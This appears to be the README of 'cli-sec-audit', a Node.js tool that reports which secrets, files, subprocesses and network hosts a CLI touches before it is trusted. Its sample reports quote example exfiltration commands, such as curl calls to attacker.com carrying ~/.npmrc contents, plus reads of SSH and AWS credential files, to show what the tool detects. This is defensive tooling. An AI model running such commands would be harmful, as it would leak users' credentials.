cli-sec-audit 🛡️

Stop running code blind. Know what a CLI does before it touches your secrets.

Runtime security profiler for CLI tools. Audit environment variables, file access, and process spawning—before running unknown code.

😱 The Problem

# You casually run a new CLI tool...
$ npx some-cool-tool

# What you don't see:
✓ Reading ~/.aws/credentials
✓ Accessing process.env.OPENAI_API_KEY
✓ Writing to /tmp/exfiltrated_data.log
✓ Spawning: curl http://malicious.com/steal

Every npx command runs with YOUR permissions. Your secrets. Your files. Your shell access.

✨ The Solution

# Audit BEFORE you run
$ npx cli-sec-audit check npx suspicious-package

═══════════════════════════════════════════════════════════
           CLI SECURITY AUDIT REPORT
═══════════════════════════════════════════════════════════

Security Risk Level: CRITICAL
Risk Score: 75/100

⚠️  SENSITIVE ACCESS DETECTED:

┌──────────────┬────────────────────────┬─────────────────┬──────────┐
│ Type         │ Access                 │ Description     │ Risk     │
├──────────────┼────────────────────────┼─────────────────┼──────────┤
│ ENV          │ OPENAI_API_KEY         │ API key env var │ HIGH     │
│ FILE READ    │ ~/.aws/credentials     │ AWS credentials │ CRITICAL │
│ FILE WRITE   │ /tmp/steal.log         │ Outside working │ HIGH     │
│ PROCESS SPAWN│ exec: curl malicious...│ Spawning shell  │ MEDIUM   │
└──────────────┴────────────────────────┴─────────────────┴──────────┘

💡 Recommendations:

  ⛔ DO NOT USE THIS PACKAGE - High security risk detected
  • Package accesses sensitive data
  • Review the source code before proceeding

Now you know. Don't run it.

🚀 Quick Start

# No install needed - audit any command
npx cli-sec-audit check npx <package-name>

# Or install globally
npm install -g cli-sec-audit
cli-sec-audit check npx some-tool

💡 Features

✅ Environment Variable Snooping Detection

Tracks every process.env access - catches secret stealers

cli-sec-audit check node my-script.js

📋 Environment Variables Accessed (5):
  Sensitive:
    • OPENAI_API_KEY
    • AWS_SECRET_ACCESS_KEY
  Standard:
    • HOME, PATH, NODE_ENV

✅ File I/O Tracking

Monitors all file reads/writes - flags access outside working directory

⚠️  SENSITIVE ACCESS DETECTED:
  FILE READ: ~/.ssh/id_rsa (SSH keys)
  FILE WRITE: /tmp/data.txt (Outside working dir)

✅ Process Spawning Detection

Catches shell command execution and subprocess spawning

⚡ Process Spawning Detected (2):
  • exec: curl http://attacker.com/steal
  • spawn: sh -c "cat ~/.bash_history"

✅ Network Request Monitoring NEW v1.1

Detects HTTP/HTTPS requests to external services

🌐 Network Requests (1):
  • GET https://api.attacker.com/steal

✅ NPM Package Scanning NEW v1.1

Audit npm packages before installing

cli-sec-audit npm suspicious-package

🔍 Scanning npm package: suspicious-package...
Security Risk Level: CRITICAL

✅ CI/CD Integration NEW v1.1

Set risk thresholds for automated pipelines

# Fail build if risk > MEDIUM
cli-sec-audit check node script.js --max-risk=MEDIUM
echo $? # Exit code 1 if risk exceeds threshold

✅ JSON Export NEW v1.1

Machine-readable output for automation

cli-sec-audit check node script.js --json
{
  "riskLevel": "HIGH",
  "riskScore": 75,
  "sensitiveAccess": [...]
}

✅ Instant Risk Score

Immediate, digestible security assessment

Security Risk Level: CRITICAL
Risk Score: 75/100

⛔ DO NOT USE THIS PACKAGE

📖 Usage Examples

Audit an npx package before running

# Check if a package is safe before using it
cli-sec-audit check npx suspicious-tool

# Get simple one-line output
cli-sec-audit check npx tool-name --simple
> HIGH | Score: 65 | Sensitive: 3

# JSON output for automation
cli-sec-audit check npx tool-name --json

Audit a local script

cli-sec-audit check node my-script.js
cli-sec-audit check python analyze.py

CI/CD Integration

# GitHub Actions - block PRs with risky dependencies
- name: Audit CLI tools
  run: |
    npx cli-sec-audit check npx new-dependency || exit 1

🎯 Real-World Examples

Example 1: Catching API Key Theft

$ cli-sec-audit check npx malicious-logger

⚠️  SENSITIVE ACCESS DETECTED:
  ENV: STRIPE_SECRET_KEY (API key environment variable)
  FILE WRITE: /tmp/keys.txt (Writing outside working directory)

Risk Score: 50/100 - HIGH RISK

Example 2: Safe Package

$ cli-sec-audit check npx cowsay "hello"

Security Risk Level: LOW
Risk Score: 5/100

✓ Package appears safe
  • No critical security concerns detected
  • Standard package behavior observed

Example 3: Shell Command Injection

$ cli-sec-audit check npx suspicious-cli

⚠️  PROCESS SPAWN:
  exec: curl http://attacker.com/upload?data=$(cat ~/.npmrc)

Risk Score: 85/100 - CRITICAL
⛔ DO NOT USE THIS PACKAGE

🔥 Why This Tool Exists

Supply chain attacks are real. Even trusted packages can be compromised.

• ✅ Audit BEFORE running unknown code
• ✅ Catch secret exfiltration attempts
• ✅ Detect lateral file access (SSH keys, AWS creds)
• ✅ Flag shell command injection
• ✅ No more "how did they get my API key?!" moments

🛡️ What Gets Audited

| Security Check | Description | |----------------|-------------| | Env Var Access | Every process.env.XYZ read | | File Reads | All file system reads (especially ~/.ssh, ~/.aws) | | File Writes | All file writes outside working directory | | Process Spawning | Shell commands (exec, spawn, execSync) | | Sensitive Patterns | Auto-flags .env, credentials, token, secret, password |

🎨 Output Modes

Default: Beautiful CLI Report

Full security report with color-coded risks and recommendations

--simple: One-Line Summary

HIGH | Score: 65 | Sensitive: 3

--json: Machine-Readable

{
  "riskLevel": "HIGH",
  "riskScore": 65,
  "sensitiveAccess": [...],
  "envAccess": [...],
  "fileReads": [...],
  "fileWrites": [...],
  "processSpawns": [...]
}

⚠️ Limitations

• Not a sandbox: Does not prevent malicious actions, only reports them
• Node.js only: Currently works for Node.js CLI tools
• Best effort: Sophisticated malware may evade detection
• Development tool: For pre-execution auditing, not production monitoring

🤝 Contributing

Found a security pattern we should catch? Open an issue or PR!

• Additional sensitive file patterns
• Better risk scoring
• More runtime instrumentation
• Support for other languages (Python, Ruby, etc.)

📄 License

MIT © Daniel Shashko

👤 Author

Daniel Shashko

• GitHub: @danishashko
• LinkedIn: daniel-shashko
• npm: @danishashko

💬 Security First

Audit before you trust. Your secrets depend on it. 🛡️

This tool helps detect suspicious behavior but is not a guarantee of safety. Always review source code of packages you use.